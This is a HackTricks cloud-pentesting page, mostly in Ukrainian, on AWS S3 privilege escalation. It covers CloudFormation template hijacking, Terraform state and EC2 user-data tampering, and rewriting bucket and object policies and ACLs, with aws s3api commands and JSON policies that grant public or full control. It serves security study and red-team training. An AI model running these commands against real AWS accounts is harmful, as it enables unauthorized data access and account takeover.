AWS - S3 Privesc

Reading time: 6 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

S3

s3:PutBucketNotification, s3:PutObject, s3:GetObject

Зловмисник з такими дозволами на цікавих бакетах може бути в змозі захопити ресурси та підвищити привілеї.

Наприклад, зловмисник з цими дозволами на бакет cloudformation під назвою "cf-templates-nohnwfax6a6i-us-east-1" зможе захопити розгортання. Доступ можна надати за допомогою наступної політики:

json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"s3:PutBucketNotification",
"s3:GetBucketNotification",
"s3:PutObject",
"s3:GetObject"
],
"Resource": [
"arn:aws:s3:::cf-templates-*/*",
"arn:aws:s3:::cf-templates-*"
]
},
{
"Effect": "Allow",
"Action": "s3:ListAllMyBuckets",
"Resource": "*"
}
]
}

І викрадення можливе, оскільки існує невеликий часовий проміжок від моменту завантаження шаблону до кошика до моменту, коли шаблон розгортається. Зловмисник може просто створити lambda function у своєму обліковому записі, яка спрацює, коли надійде сповіщення з кошика, і викраде вміст цього кошика.

Модуль Pacu cfn__resouce_injection може бути використаний для автоматизації цієї атаки.
Для отримання додаткової інформації перегляньте оригінальне дослідження: https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/

s3:PutObject, s3:GetObject

Це дозволи на отримання та завантаження об'єктів до S3. Кілька сервісів всередині AWS (і за його межами) використовують S3 для зберігання конфігураційних файлів.
Зловмисник з доступом на читання до них може знайти чутливу інформацію в них.
Зловмисник з доступом на запис до них може модифікувати дані, щоб зловживати якимось сервісом і намагатися підвищити привілеї.
Ось кілька прикладів:

  • Якщо EC2 екземпляр зберігає дані користувача в S3 кошику, зловмисник може змінити їх, щоб виконати довільний код всередині EC2 екземпляра.

s3:PutObject, s3:GetObject (додатково) над файлом стану terraform

Дуже поширено, що файли стану terraform зберігаються в блоб-накопичувачах хмарних провайдерів, наприклад, AWS S3. Суфікс файлу для файлу стану - .tfstate, а назви кошиків часто також вказують на те, що вони містять файли стану terraform. Зазвичай, кожен обліковий запис AWS має один такий кошик для зберігання файлів стану, які показують стан облікового запису. Також зазвичай, у реальних облікових записах майже завжди всі розробники мають s3:*, а іноді навіть бізнес-користувачі мають s3:Put*.

Отже, якщо у вас є дозволи, зазначені для цих файлів, існує вектор атаки, який дозволяє вам отримати RCE в конвеєрі з привілеями terraform - найчастіше AdministratorAccess, що робить вас адміністратором хмарного облікового запису. Також ви можете використовувати цей вектор для здійснення атаки відмови в обслуговуванні, змушуючи terraform видаляти легітимні ресурси.

Слідуйте опису в розділі Зловживання файлами стану Terraform на сторінці Безпека Terraform для безпосередньо використовуваного коду експлойту:

Abusing Terraform State Files

s3:PutBucketPolicy

Зловмисник, який повинен бути з того ж облікового запису, інакше спрацює помилка The specified method is not allowed, з цим дозволом зможе надати собі більше дозволів на кошик(и), що дозволить йому читати, писати, модифікувати, видаляти та відкривати кошики.

bash
# Update Bucket policy
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>

## JSON giving permissions to a user and mantaining some previous root access
{
"Id": "Policy1568185116930",
"Version":"2012-10-17",
"Statement":[
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:root"
},
"Action":"s3:ListBucket",
"Resource":"arn:aws:s3:::somebucketname"
},
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:user/username"
},
"Action":"s3:*",
"Resource":"arn:aws:s3:::somebucketname/*"
}
]
}

## JSON Public policy example
### IF THE S3 BUCKET IS PROTECTED FROM BEING PUBLICLY EXPOSED, THIS WILL THROW AN ACCESS DENIED EVEN IF YOU HAVE ENOUGH PERMISSIONS
{
"Id": "Policy1568185116930",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Stmt1568184932403",
"Action": [
"s3:ListBucket"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome",
"Principal": "*"
},
{
"Sid": "Stmt1568185007451",
"Action": [
"s3:GetObject"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome/*",
"Principal": "*"
}
]
}

s3:GetBucketAcl, s3:PutBucketAcl

Зловмисник може зловживати цими дозволами, щоб надати собі більше доступу до конкретних бакетів.
Зверніть увагу, що зловмисник не обов'язково має бути з того ж облікового запису. Більше того, доступ на запис

bash
# Update bucket ACL
aws s3api get-bucket-acl --bucket <bucket-name>
aws s3api put-bucket-acl --bucket <bucket-name> --access-control-policy file://acl.json

##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL

s3:GetObjectAcl, s3:PutObjectAcl

Зловмисник може зловживати цими дозволами, щоб надати собі більше доступу до конкретних об'єктів всередині бакетів.

bash
# Update bucket object ACL
aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --access-control-policy file://objacl.json

##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL

s3:GetObjectAcl, s3:PutObjectVersionAcl

Зловмисник з цими привілеями, як очікується, зможе встановити Acl для конкретної версії об'єкта.

bash
aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --version-id <value> --access-control-policy file://objacl.json

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks